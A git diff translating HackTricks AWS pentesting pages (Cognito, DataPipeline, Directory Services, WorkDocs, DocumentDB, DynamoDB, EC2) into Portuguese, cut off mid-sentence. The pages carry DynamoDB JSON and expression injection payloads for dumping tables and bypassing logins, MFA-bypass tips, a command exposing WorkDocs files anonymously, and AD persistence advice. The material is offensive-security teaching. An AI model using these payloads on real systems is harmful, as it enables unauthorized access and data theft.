### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +Este **método sempre será válido** (não pode ser desativado), mas você precisa ter um token de atualização válido. ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +Código para atualizar ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +Neste caso, a **autenticação** será realizada através da **execução de uma função lambda**. -## Extra Security +## Segurança Extra -### Advanced Security +### Segurança Avançada -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +Por padrão, está desativado, mas se ativado, o Cognito pode ser capaz de **encontrar tomadas de conta**. Para minimizar a probabilidade, você deve fazer login de uma **rede dentro da mesma cidade, usando o mesmo agente de usuário** (e IP, se possível)**.** -### **MFA Remember device** +### **MFA Lembrar dispositivo** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +Se o usuário fizer login do mesmo dispositivo, o MFA pode ser contornado, portanto, tente fazer login do mesmo navegador com os mesmos metadados (IP?) para tentar contornar a proteção do MFA. -## User Pool Groups IAM Roles +## Grupos de User Pool Funções IAM -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +É possível adicionar **usuários a grupos de User Pool** que estão relacionados a uma **função IAM**.\ +Além disso, **usuários** podem ser atribuídos a **mais de 1 grupo com diferentes funções IAM** anexadas. -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +Observe que, mesmo que um grupo esteja dentro de um grupo com uma função IAM anexada, para poder acessar as credenciais IAM desse grupo, é necessário que o **User Pool seja confiável por um Identity Pool** (e conhecer os detalhes desse Identity Pool). -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +Outro requisito para obter a **função IAM indicada no IdToken** quando um usuário é autenticado no User Pool (`aws cognito-idp initiate-auth...`) é que o **provedor de autenticação do Provedor de Identidade** precisa indicar que a **função deve ser selecionada do token.**
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +As **funções** às quais um usuário tem acesso estão **dentro do `IdToken`**, e um usuário pode **selecionar qual função gostaria de credenciais** com o **`--custom-role-arn`** do `aws cognito-identity get-credentials-for-identity`.\ +No entanto, se a **opção padrão** for a **configurada** (`usar função padrão`), e você tentar acessar uma função do IdToken, você receberá **erro** (é por isso que a configuração anterior é necessária): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> Note que o papel atribuído a um **Grupo de User Pool** precisa ser **acessível pelo Provedor de Identidade** que **confia no User Pool** (já que as **credenciais de sessão do papel IAM serão obtidas a partir dele**). ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..1065da7cf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline é projetado para facilitar o **acesso, transformação e transferência eficiente** de dados em grande escala. Ele permite que as seguintes operações sejam realizadas: -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **Acesse Seus Dados Onde Estão Armazenados**: Dados residindo em vários serviços AWS podem ser acessados de forma contínua. +2. **Transforme e Processe em Grande Escala**: Tarefas de processamento e transformação de dados em grande escala são tratadas de forma eficiente. +3. **Transfira Resultados de Forma Eficiente**: Os dados processados podem ser transferidos de forma eficiente para vários serviços AWS, incluindo: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +Em essência, o AWS Data Pipeline simplifica o movimento e o processamento de dados entre diferentes serviços de computação e armazenamento da AWS, bem como fontes de dados locais, em intervalos especificados. ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do datapipeline para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. - -### Enumeration +AWS CodePipeline é um **serviço de entrega contínua** totalmente gerenciado que ajuda você a **automatizar seus pipelines de lançamento** para atualizações rápidas e confiáveis de aplicativos e infraestrutura. O CodePipeline automatiza as **fases de construção, teste e implantação** do seu processo de lançamento toda vez que há uma alteração de código, com base no modelo de lançamento que você define. +### Enumeração ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do codepipeline para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +É um **serviço de controle de versão**, que é hospedado e totalmente gerenciado pela Amazon, que pode ser usado para armazenar dados (documentos, arquivos binários, código-fonte) de forma privada e gerenciá-los na nuvem. -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +Ele **elimina** a necessidade de o usuário conhecer Git e **gerenciar seu próprio sistema de controle de versão** ou se preocupar em escalar sua infraestrutura para cima ou para baixo. O Codecommit suporta todas as **funcionalidades padrão que podem ser encontradas no Git**, o que significa que funciona sem esforço com as ferramentas baseadas em Git atuais do usuário. ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## Referências - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..7512219c8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +O AWS Directory Service para Microsoft Active Directory é um serviço gerenciado que facilita a **configuração, operação e escalabilidade de um diretório** na AWS Cloud. Ele é construído sobre o **Microsoft Active Directory** real e se integra de forma estreita com outros serviços da AWS, facilitando a gestão de suas cargas de trabalho e recursos da AWS que reconhecem diretórios. Com o AWS Managed Microsoft AD, você pode **usar seus usuários, grupos e políticas** do Active Directory existentes para gerenciar o acesso aos seus recursos da AWS. Isso pode ajudar a simplificar sua gestão de identidade e reduzir a necessidade de soluções adicionais de identidade. O AWS Managed Microsoft AD também fornece backups automáticos e capacidades de recuperação de desastres, ajudando a garantir a disponibilidade e durabilidade do seu diretório. No geral, o AWS Directory Service para Microsoft Active Directory pode ajudar você a economizar tempo e recursos, fornecendo um serviço de Active Directory gerenciado, altamente disponível e escalável na AWS Cloud. ### Options -Directory Services allows to create 5 types of directories: +O Directory Services permite criar 5 tipos de diretórios: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: Que executará um novo **Microsoft AD na AWS**. Você poderá definir a senha do administrador e acessar os DCs em uma VPC. +- **Simple AD**: Que será um servidor **Linux-Samba** compatível com Active Directory. Você poderá definir a senha do administrador e acessar os DCs em uma VPC. +- **AD Connector**: Um proxy para **redirecionar solicitações de diretório para seu Microsoft Active Directory existente** sem armazenar em cache nenhuma informação na nuvem. Ele ficará ouvindo em uma **VPC** e você precisará fornecer **credenciais para acessar o AD existente**. +- **Amazon Cognito User Pools**: Isso é o mesmo que Cognito User Pools. +- **Cloud Directory**: Este é o **mais simples**. Um diretório **sem servidor** onde você indica o **esquema** a ser usado e é **cobrado de acordo com o uso**. -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +Os serviços de diretório da AWS permitem **sincronizar** com seu **Microsoft AD local** existente, **executar o seu próprio** na AWS ou sincronizar com **outros tipos de diretórios**. ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +Aqui você pode encontrar um bom tutorial para criar seu próprio Microsoft AD na AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` - ### Login -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +Note que se a **descrição** do diretório contiver um **domínio** no campo **`AccessUrl`**, é porque um **usuário** provavelmente pode **fazer login** com suas **credenciais AD** em alguns **serviços AWS:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the ### Using an AD user -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +Um **usuário AD** pode ter **acesso ao console de gerenciamento da AWS** através de um papel a ser assumido. O **nome de usuário padrão é Admin** e é possível **alterar sua senha** a partir do console da AWS. -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +Portanto, é possível **alterar a senha do Admin**, **criar um novo usuário** ou **alterar a senha** de um usuário e conceder a esse usuário um papel para manter o acesso.\ +Também é possível **adicionar um usuário a um grupo dentro do AD** e **dar a esse grupo AD acesso a um papel** (para tornar essa persistência mais discreta). ### Sharing AD (from victim to attacker) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +É possível compartilhar um ambiente AD de uma vítima para um atacante. Dessa forma, o atacante poderá continuar acessando o ambiente AD.\ +No entanto, isso implica compartilhar o AD gerenciado e também criar uma conexão de peering VPC. -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +Você pode encontrar um guia aqui: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~Sharing AD (from attacker to victim)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +Não parece ser possível conceder acesso à AWS a usuários de um ambiente AD diferente para uma conta AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs é um serviço de **armazenamento e compartilhamento de arquivos** baseado em nuvem. Faz parte do conjunto de serviços de computação em nuvem da AWS e é projetado para fornecer uma solução segura e escalável para organizações armazenarem, compartilharem e colaborarem em arquivos e documentos. -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. +AWS WorkDocs oferece uma interface baseada na web para os usuários fazerem upload, acessar e gerenciar seus arquivos e documentos. Também oferece recursos como controle de versão, colaboração em tempo real e integração com outros serviços da AWS e ferramentas de terceiros. ### Enumeration - ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### Privesc {{#ref}} @@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..d7465f79f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, oferecendo compatibilidade com MongoDB, é apresentado como um **serviço de banco de dados rápido, confiável e totalmente gerenciado**. Projetado para simplicidade na implantação, operação e escalabilidade, permite a **migração e operação sem problemas de bancos de dados compatíveis com MongoDB na nuvem**. Os usuários podem aproveitar este serviço para executar seu código de aplicativo existente e utilizar drivers e ferramentas familiares, garantindo uma transição e operação suaves, semelhantes ao trabalho com MongoDB. ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` +### Injeção NoSQL -### NoSQL Injection - -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +Como o DocumentDB é um banco de dados compatível com MongoDB, você pode imaginar que também é vulnerável a ataques comuns de injeção NoSQL: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -35,12 +33,8 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ../aws-unauthenticated-enum-access/aws-documentdb-enum.md {{#endref}} -## References +## Referências - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..241e38766 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -1,33 +1,32 @@ -# AWS - DynamoDB Enum +# AWS - Enumeração do DynamoDB {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB -### Basic Information +### Informações Básicas -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +O Amazon DynamoDB é apresentado pela AWS como um **banco de dados NoSQL totalmente gerenciado, sem servidor e baseado em chave-valor**, projetado para alimentar aplicações de alto desempenho, independentemente de seu tamanho. O serviço garante recursos robustos, incluindo medidas de segurança inerentes, backups ininterruptos, replicação automatizada em várias regiões, cache em memória integrado e utilitários convenientes de exportação de dados. -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +No contexto do DynamoDB, em vez de estabelecer um banco de dados tradicional, **tabelas são criadas**. Cada tabela exige a especificação de uma **chave de partição** como um componente integral da **chave primária da tabela**. Essa chave de partição, essencialmente um **valor hash**, desempenha um papel crítico tanto na recuperação de itens quanto na distribuição de dados entre vários hosts. Essa distribuição é fundamental para manter tanto a escalabilidade quanto a disponibilidade do banco de dados. Além disso, há a opção de incorporar uma **chave de ordenação** para refinar ainda mais a organização dos dados. -### Encryption +### Criptografia -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +Por padrão, o DynamoDB usa uma chave KMS que **pertence ao Amazon DynamoDB,** nem mesmo a chave gerenciada pela AWS que pelo menos pertence à sua conta.
-### Backups & Export to S3 +### Backups & Exportar para S3 -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +É possível **agendar** a geração de **backups de tabelas** ou criá-los **sob demanda**. Além disso, também é possível habilitar a **recuperação ponto a ponto (PITR) para uma tabela.** A recuperação ponto a ponto fornece **backups** contínuos dos seus dados do DynamoDB por **35 dias** para ajudar a proteger contra operações de escrita ou exclusão acidentais. -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +Também é possível exportar **os dados de uma tabela para o S3**, mas a tabela precisa ter **PITR habilitado**. ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) - -### Enumeration +Há uma GUI para serviços locais do Dynamo, como [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, que pode ser útil: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +### Enumeração ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,129 +53,112 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### Escalação de Privilégios {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## Injeção no DynamoDB -### SQL Injection +### Injeção SQL -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Existem maneiras de acessar dados do DynamoDB com **sintaxe SQL**, portanto, **injeções SQL típicas também são possíveis**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### Injeção NoSQL -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +No DynamoDB, diferentes **condições** podem ser usadas para recuperar dados, como em uma injeção NoSQL comum. Se for possível **encadear mais condições para recuperar** dados, você pode obter dados ocultos (ou despejar toda a tabela).\ +Você pode encontrar aqui as condições suportadas pelo DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +Observe que **diferentes condições** são suportadas se os dados estiverem sendo acessados via **`query`** ou via **`scan`**. > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> Na verdade, as ações de **Query** precisam especificar a **condição "EQ" (igual)** na chave **primária** para funcionar, tornando-a muito **menos propensa a injeções NoSQL** (e também limitando muito a operação). +Se você puder **mudar a comparação** realizada ou adicionar novas, poderá recuperar mais dados. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### Injeção de Json Bruto > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **Esta vulnerabilidade é baseada no Filtro de Varredura do dynamodb, que agora está obsoleto!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB** aceita objetos **Json** para **pesquisar** dados dentro do DB. Se você descobrir que pode escrever no objeto json enviado para pesquisa, você pode fazer o dump do DB, todo o conteúdo. +Por exemplo, injetando em uma solicitação como: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +um atacante poderia injetar algo como: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +corrija a condição "EQ" buscando pelo ID 1000 e, em seguida, procurando todos os dados com uma string de Id maior que 0, que é tudo. +Outro **exemplo vulnerável usando um login** poderia ser: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +Isto seria vulnerável a: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +Alguns SDKs permitem usar uma string indicando o filtro a ser realizado, como: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +Você precisa saber que, ao pesquisar no DynamoDB para **substituir** um **valor** de atributo em **expressões de filtro** enquanto escaneia os itens, os tokens devem **começar** com o caractere **`:`**. Esses tokens serão **substituídos** pelo **valor do atributo real em tempo de execução**. -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +Portanto, um login como o anterior pode ser contornado com algo como: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..718d92032 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +Aprenda o que é uma VPC e sobre seus componentes em: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças de requisitos ou 